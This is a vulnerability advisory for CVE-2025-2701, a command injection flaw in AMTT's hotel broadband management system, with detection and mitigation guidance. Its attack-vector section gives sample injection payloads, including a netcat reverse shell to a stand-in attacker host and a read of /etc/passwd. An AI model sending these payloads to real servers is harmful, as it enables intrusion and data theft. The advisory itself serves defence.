CVE-2025-2701: Amttgroup Hibos RCE Vulnerability

CVE-2025-2701 Overview

A critical OS command injection vulnerability has been identified in AMTT Hotel Broadband Operation System (HIBOS) version 1.0. This vulnerability exists in the popen function within the /manager/network/port_setup.php file, where improper handling of multiple parameters allows remote attackers to inject and execute arbitrary operating system commands on the underlying server.

Critical Impact

Remote attackers with low-level authentication can exploit this command injection vulnerability to execute arbitrary OS commands on the affected system, potentially leading to complete system compromise, data exfiltration, or lateral movement within hospitality network infrastructure.

Affected Products

• AMTT Hotel Broadband Operation System (HIBOS) 1.0
• Amttgroup HIBOS installations with exposed /manager/network/port_setup.php endpoint

Discovery Timeline

• 2025-03-24 - CVE-2025-2701 published to NVD
• 2025-10-17 - Last updated in NVD database

Technical Details for CVE-2025-2701

Vulnerability Analysis

This vulnerability is classified as OS Command Injection (CWE-78) and Command Injection (CWE-77). The flaw resides in the network port configuration functionality of the HIBOS management interface. When processing network switch configuration requests, the application passes user-supplied input from multiple parameters directly to the popen function without adequate sanitization or validation.

The vulnerable parameters include SwitchVersion, SwitchWrite, SwitchIP, SwitchIndex, and SwitchState. An authenticated attacker with network access can manipulate any of these parameters to inject shell metacharacters and arbitrary commands that will be executed with the privileges of the web server process.

The vulnerability is remotely exploitable over the network with low attack complexity, requiring only low-level privileges and no user interaction. Successful exploitation can result in unauthorized access to confidential data, modification of system configurations, and disruption of service availability.

Root Cause

The root cause of this vulnerability is improper input validation in the /manager/network/port_setup.php file. The application utilizes the PHP popen function to execute system commands for network switch configuration management. User-controlled input from the HTTP request parameters is concatenated directly into the command string without proper sanitization, escaping, or use of parameterized execution methods.

This failure to neutralize special characters and shell metacharacters (such as ;, |, &, $(), and backticks) allows attackers to break out of the intended command context and inject additional malicious commands.

Attack Vector

The attack vector is network-based, targeting the /manager/network/port_setup.php endpoint in the HIBOS management interface. An attacker with valid credentials (even low-privilege accounts) can craft malicious HTTP requests containing shell command injection payloads within the vulnerable parameters.

For example, an attacker could inject a payload such as ; cat /etc/passwd or | nc attacker.com 4444 -e /bin/bash within the SwitchIP parameter. When the server processes this request, the injected commands would be executed by the popen function alongside or instead of the legitimate network configuration commands.

Technical details and proof-of-concept information are documented in the GitHub RCE Documentation and VulDB Entry #300718.

Detection Methods for CVE-2025-2701

Indicators of Compromise

• Unusual HTTP requests to /manager/network/port_setup.php containing shell metacharacters (;, |, &, $(, backticks) in parameter values
• Unexpected process spawning from the web server process (e.g., www-data or apache spawning /bin/sh, nc, wget, curl)
• Anomalous outbound network connections originating from the HIBOS server
• Log entries showing malformed or suspicious values in the SwitchVersion, SwitchWrite, SwitchIP, SwitchIndex, or SwitchState parameters

Detection Strategies

• Implement Web Application Firewall (WAF) rules to detect and block command injection patterns in requests to /manager/network/port_setup.php
• Deploy endpoint detection and response (EDR) solutions to monitor for suspicious process execution chains involving the web server
• Configure intrusion detection systems (IDS) with signatures for common command injection payloads targeting PHP applications
• Enable detailed logging for the HIBOS management interface and regularly audit for anomalous parameter values

Monitoring Recommendations

• Monitor web server access logs for requests to /manager/network/port_setup.php with encoded or unusual parameter values
• Implement process monitoring to detect unexpected child processes spawned by the web application
• Set up alerts for outbound connections from the HIBOS server to unfamiliar IP addresses or on non-standard ports
• Review authentication logs for brute-force attempts or unauthorized access to the management interface

How to Mitigate CVE-2025-2701

Immediate Actions Required

• Restrict network access to the HIBOS management interface using firewall rules, limiting access to trusted administrator IP addresses only
• Implement a Web Application Firewall (WAF) with rules specifically targeting command injection attacks
• Review and strengthen authentication mechanisms for the management interface, implementing multi-factor authentication where possible
• Consider taking the management interface offline until a vendor patch is available or a workaround can be implemented

Patch Information

At the time of publication, no official patch is available from the vendor. According to the vulnerability disclosure, AMTT was contacted about this vulnerability but did not respond. Organizations using HIBOS should monitor vendor communications for future security updates and consider alternative solutions if no patch is forthcoming.

For additional technical details, refer to the VulDB CTI Entry and VulDB Submission #516089.

Workarounds

• Implement network segmentation to isolate the HIBOS server from critical infrastructure and limit potential lateral movement
• Deploy a reverse proxy with input validation to filter malicious payloads before they reach the vulnerable endpoint
• Disable or remove the /manager/network/port_setup.php functionality if it is not essential for operations
• Implement strict egress filtering to prevent the server from establishing unauthorized outbound connections

# Example: Restrict access to HIBOS management interface via iptables
# Allow only trusted admin network (replace with your admin IP range)
iptables -A INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 443 -j DROP